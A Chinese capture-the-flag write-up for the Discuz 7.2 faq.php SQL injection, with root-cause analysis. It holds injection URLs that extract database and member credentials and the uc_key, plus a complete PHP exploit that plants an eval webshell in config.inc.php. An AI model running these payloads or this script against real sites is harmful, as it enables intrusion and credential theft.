墨者 / 靶场writeup · 2021年9月9日 1

墨者-CMS系统漏洞分析溯源(第9题)WP

一、靶场信息

Discuz <= 7.2 SQL faq.php 注入漏洞

地址:https://www.mozhe.cn/bug/detail/dS85cFFTQnl1cUZHa3BsTklJd25adz09bW96aGUmozhe

背景介绍

某人搭建社区网站,邀请“墨者”安全工程师测试网站的安全性。

实训目标

1、了解Discuz!;

2、了解此漏洞形成的原因;

3、掌握此漏洞的利用方式;

解题方向

根据社区页面获取信息,找到利用漏洞。

tips:网上有很多exp可以直接拿shell,本文针对sql注入点进行分析

本文末段有漏洞原理分析

二、解题

进入靶场

登入入口尝试弱口令

发现无法爆破,接着查看注册登录

登录后修改图像,发表帖子的上传功能等均无法使用

毫无进展

发现右下角CMS版本

根据cms版本,查询到faq.php页面存在sql注入漏洞(下文附带漏洞源码及原理)

构造POC

/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)%23

存在sql注入

开始构造EXP

(1)获取mysql用户信息

/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

(2)获取数据库版本信息

/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

(3)获取数据库信息

/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(database(),floor(rand(0)*2),0x3a,concat(user()) )x from information_schema.tables group by x)a)%23

(4)获取数据库用户名和密码

/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(user,0x3a,password,0x3a) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

密码MD5解密为:root

(5)获取用户名、email、密码和salt信息

/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques) from cdb_uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

(6)获取uc_key

/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23

(7)对指定uid获取密码

/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(username,0x3a,email,0x3a,password,0x3a,salt) from cdb_uc_members where uid=1 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

此题admin密码为强口令,无法破译

借助exp拿shell

exp源码(网上很多都用不了了,这里找了个php版本进行修改):

<?php
 
error_reporting(0);
set_time_limit(3000);
$host=$argv[1];
$path=$argv[2];
$js=$argv[3];
$timestamp = time()+10*3600;
$table="cdb_";//表名
 
if ($argc < 2) {
    print_r('
  ********************************************************
  *  Discuz faq.php SQL Injection Exp                    *
  *  ---------By:Www.i0day.com-----------               *
  *     Usage: php '.$argv[0].' url 1                    *
  *  --------------------------------------              *
  *  js选项: 1.GetShell 2.取密码 3.查表前缀              *
  *                                                      *
  *   php '.$argv[0].' Www.i0day.com / 1                 *
  *   php '.$argv[0].' Www.i0day.com /dz72/ 1            *
  *                                                      *
  *                                                      *
  ********************************************************
     ');
     exit;
}
if($js==1){
    $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";
    $resp = sendpack($host,$path,$sql,$js);
 
    if(strpos($resp,"::")==-1){
        echo '表前缀可能不是默认cdb_ 请先查看表前缀!';
    }else{
    preg_match("/::(.*)::/",$resp,$matches);
    $lenght=intval($matches[1]);
    if($lenght){
        if($lenght<=124){
            $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
            $resp = sendpack($host,$path,$sql,$js);
            if(strpos($resp,"1\^")!=-1){
                preg_match("/1\^(.*)\'/U",$resp,$key1);
            $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
            $resp = sendpack($host,$path,$sql,$js);
            preg_match("/1\^(.*)\'/U",$resp,$key2);
            $key=$key1[1].$key2[1];
            $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $key));
            $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="UC_API">bbs.49you.com\');eval($_POST[i0day]);//</item>
</root>';
            $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="UC_API">bbs.49you.com</item>
</root>';
            $html1 = send($cmd1);
            $res1=substr($html1,-1);
            $html2 = send($cmd2);
            $res2=substr($html1,-1);
            if($res1=='1'&&$res2=='1'){
            echo "shell地址:http://".$host.$path.'config.inc.php   pass:i0day';
            }
            }else{
                echo '获取失败';
            }
        }
    }
   }        
 
}elseif($js==2){
    $sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23";
    $resp = sendpack($host,$path,$sql,$js);
    if(strpos($resp,"\^\^\^")!=-1){
        preg_match("/\^\^\^(.*)\^/U",$resp,$password);
        echo '密码:'.$password[1];
        }else{
            echo '表前缀可能不是默认cdb_ 请先查看表前缀!';
        }
}elseif($js==3){
    $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23";
    $resp = sendpack($host,$path,$sql,$js);
    if(strpos($resp,"1\^")!=-1){
        preg_match("/1\^(.*)\^/U",$resp,$t);
 
        if(strpos($t[1],"cdb_")!=-1){
            echo "表名为:".hex2str($t[1])." 表前缀为默认cdb_ 无需修改";
        }else{
            echo "表名:".hex2str($t[1]).' 不是默认表名cdb_请自行修改代码中的$table';
        }
    }else{
        echo "查看表前缀失败,Sorry";
    }
}else{
    echo "未选择脚本功能";
}
 
function sendpack($host,$path,$sql,$js){
       $data = "GET ".$path."/faq.php?".$sql." HTTP/1.1\r\n";
        $data.="Host:".$host."\r\n";
        $data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n";
        $data.="Connection: close\r\n\r\n";
        //$data.=$html."\r\n";
        $ock=fsockopen($host,80);
 
        if(!$ock){
        echo "No response from ".$host;
        die();
 
        }
        fwrite($ock,$data);
 
        $resp = '';
 
        while (!feof($ock)) {
 
                $resp.=fread($ock, 1024);
                }
 
        return $resp;
 
}
function send($cmd){
    global $host,$code,$path;
    $message = "POST ".$path."/api/uc.php?code=".$code."  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: ".$host."\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: ".$host."\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
 
    //var_dump($message);
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
 
    $resp = '';
 
    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
 
    return $resp;
}
 
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
 
    $key = md5($key ? $key : 't9V5qfdeJ9z1M2v6z4Q33cs8gcBbO6P8V78952oeE070E4Ndkee7cbm718tf63');//在此使用sql语句获取你的uc_key进行替换
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
 
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
 
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
 
    $result = '';
    $box = range(0, 255);
 
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
 
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
 
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
 
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }
 
}
function hex2str($hex){
    $str = '';
    $arr = str_split($hex, 2);
    foreach($arr as $bit){
        $str .= chr(hexdec($bit));
    }
    return $str;
    }
?>

使用方法:php dz7-2getshell.php 219.153.49.228:45785 / 1

getshell选项无回显,shell储存在网站根目录的config.inc.php

蚁剑连接shell木马,密码i0day

成功上线

系统根目录下找到key

三、漏洞原理分析

1.漏洞关键代码(148行)

} elseif($action == 'grouppermission') {
 
...
...
	ksort($gids);                           //对$gids数组的键名进行降序排序
	$groupids = array();                    //定义数组$groupids
	foreach($gids as $row) {                //遍历
		$groupids[] = $row[0];          //第一个值赋给$groupids
	}
 
	$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

定义数组groupids,
进入for循环,然后把$gids中第一个数组赋值给$groupids,看到这里的$row[0],当遇到数组时,取第一个数组,当遇到字符串时,取字符串的第一个字符。

discuz在全局会对GET数组进行addslashes转义,也就是说会将 ‘ 转义成 \’,所以,如果我们的传入的参数是:gids[1]= ‘ 的话, 会被转义成$gids[1]=\’,而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是 \ ,把转义符号取出来了

这时候$row[0]取出来的值是反斜杠 \
而在190行末尾,对$groupids用implodeids函数进行了处理
imlodeids函数(/include/global.func.php中 672行),源码:

function implodeids($array) {
	if(!empty($array)) {
		return "'".implode("','", is_array($array) ? $array : array($array))."'";
	} else {
		return '';
	}
}

如果数组不为空就将其用 ‘,’ 分隔开,就例如传入1234返回’1′,’2′,’3′,’4′

但前面取出了一个 \ 转义符号就变成了

’ 1 ′,’ \ ’,’ 3 ,’ 4 ′ == ’ 1 ′, \ ’, 3 ′,’ 4 ′

第4个单引号就被转义了,第3个单引号就与第5个单引号闭合了,那么 “3” 就逃逸出了单引号的限制,产生了注入。

faq.php?gids[x]=’&gids[x+1][uid]=sql 如此构造就可以突破安全处理

2.POC分析

知道了产生原理,那可以分析一下POC的原理

/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#

我们的poc是gids[99]=’,由于discuz7.2的全局变量会对’进行自动过滤,也就是添加反斜杠 \’

这时候$row[0]取出来的值是反斜杠\

第二个参数取出来的是

) and (select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema .tables group by x)a)#

implodeids()函数进行切割,并加上’,’ 这时候返回的值是:

‘7’,’\’,’) and (select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema .tables group by x)a)#’

我们可以看到反斜杠干掉了一个单引号,剩下另一个单引号被#号干掉,这时候就能跳出来执行sql语句了,对于’\’,’ 由于反斜杠干掉了一个单引号,所以他被认为是个字符串。

代入源码,实际上的查询语句是这样的:

SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (‘7′,’\’,’) and (select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema .tables group by x)a)#’)

语句闭合,即可执行and后的sql语句